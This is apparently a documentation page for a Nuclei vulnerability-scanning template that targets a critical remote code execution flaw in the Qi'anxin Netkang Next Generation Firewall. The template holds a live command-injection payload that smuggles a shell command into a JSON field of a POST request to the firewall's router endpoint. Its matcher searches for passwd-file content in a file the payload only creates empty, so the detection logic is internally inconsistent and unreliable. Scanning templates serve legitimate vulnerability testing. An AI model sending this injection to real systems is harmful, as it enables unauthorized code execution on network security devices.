Skip to content

Qi'anxin Netkang Next Generation Firewall - Remote Code Execution

ID: qi-anxin-netkang-next-generation-firewall-rce

Severity: critical

Author: pikpikcu

Tags: rce,firewall,intrusive

Qi’anxin Netkang Next Generation Firewall is susceptible to remote code execution.

id: qi-anxin-netkang-next-generation-firewall-rce
info:
name: Qi'anxin Netkang Next Generation Firewall - Remote Code Execution
author: pikpikcu
severity: critical
description: |
Qi'anxin Netkang Next Generation Firewall is susceptible to remote code execution.
reference:
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-77
metadata:
max-request: 2
tags: rce,firewall,intrusive
http:
- raw:
- |
POST /directdata/direct/router HTTP/1.1
Host: {{Hostname}}
{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;touch /var/www/html/{{randstr}}.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
- |
GET /{{randstr}}.txt HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100ea604ee665b60b7637e03e8ca3b98ece9cb330a566a0cc544f4bd64c5b8244600220724f78b8568e130008ba755f56e44a4b99c800ef5610b368fb8d2c32b2544d0f:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/qi-anxin-netkang-next-generation-firewall-rce.yaml"

View on Github